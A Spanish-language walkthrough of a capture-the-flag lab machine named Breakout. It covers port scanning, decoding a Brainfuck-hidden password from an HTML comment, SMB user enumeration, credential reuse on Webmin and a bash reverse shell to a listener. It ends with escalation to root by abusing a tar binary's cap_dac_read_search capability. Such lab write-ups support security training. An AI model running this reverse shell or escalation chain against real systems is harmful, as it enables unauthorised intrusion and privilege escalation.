Enumeración de servicios
Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.112
❯ nmap -sCV -p80,139,445,10000,20000 -oN 02-targeted.txt 192.168.1.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-18 11:19 -04
Nmap scan report for 192.168.1.112
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10000/tcp open http MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
20000/tcp open http MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
Host script results:
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.73 secondsRecuperación de credenciales
El código fuente del sitio contiene una cadena escrita en Brainfuck. Brainfuck no cifra el valor: es un lenguaje esotérico que, al interpretarse, reconstruye la contraseña en texto claro. Por eso el comentario HTML constituye una exposición de credenciales y no una protección criptográfica:
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->La decodificamos:
.2uqPEfj3D<P'a-3Enumeramos SMB con enum4linux. El servidor admite una sesión sin credenciales y permite resolver el SID de la cuenta local cyber, lo que aporta el usuario que falta para probar la contraseña recuperada:
❯ enum4linux -a 192.168.1.112
...
[+] Server 192.168.1.112 allows sessions using username '', password ''
...
S-1-22-1-1000 Unix User\cyber (Local User)
...Acceso inicial mediante Credential Reuse
Probamos cyber:.2uqPEfj3D<P'a-3 en los servicios MiniServ de los puertos 10000 y 20000. La autenticación funciona en el segundo, que ofrece una consola de comandos. La misma credencial expuesta en el sitio se reutiliza así en otro servicio y permite lanzar una reverse shell como cyber:
[cyber@breakout cyber]$ bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.112:60666.
bash: cannot set terminal process group (2494): Inappropriate ioctl for device
bash: no job control in this shell
cyber@breakout:~$Escalada mediante Linux Capabilities
Para escalar, listamos las Linux capabilities asignadas a ejecutables:
cyber@breakout:/$ getcap -r / 2>/dev/null
/home/cyber/tar cap_dac_read_search=epEl tar del home de cyber posee cap_dac_read_search, capacidad que permite omitir las comprobaciones DAC de lectura y búsqueda de directorios. Esto no ejecuta comandos como root, pero sí permite que tar abra archivos que cyber no podría leer directamente. En /var/backups existe .old_pass.bak con permisos exclusivos para root:
-rw------- 1 root root 17 Oct 20 2021 .old_pass.bakCreamos un archivo tar con el ejecutable capacitado y luego lo extraemos en un directorio controlado. La copia resultante conserva el contenido, pero queda accesible para cyber:
cyber@breakout:~$ ./tar -cf bak.tar /var/backups/.old_pass.bak
cyber@breakout:~$ ./tar -xf bak.tar
cyber@breakout:~/var/backups$ cat .old_pass.bak
Ts&4&YurgtRX(=~hY nos autenticamos como root con esa contraseña:
cyber@breakout:~/var/backups$ su root
Password: Ts&4&YurgtRX(=~h
root@breakout:/home/cyber/var/backups#Obtenemos nuestra flag.
Fin.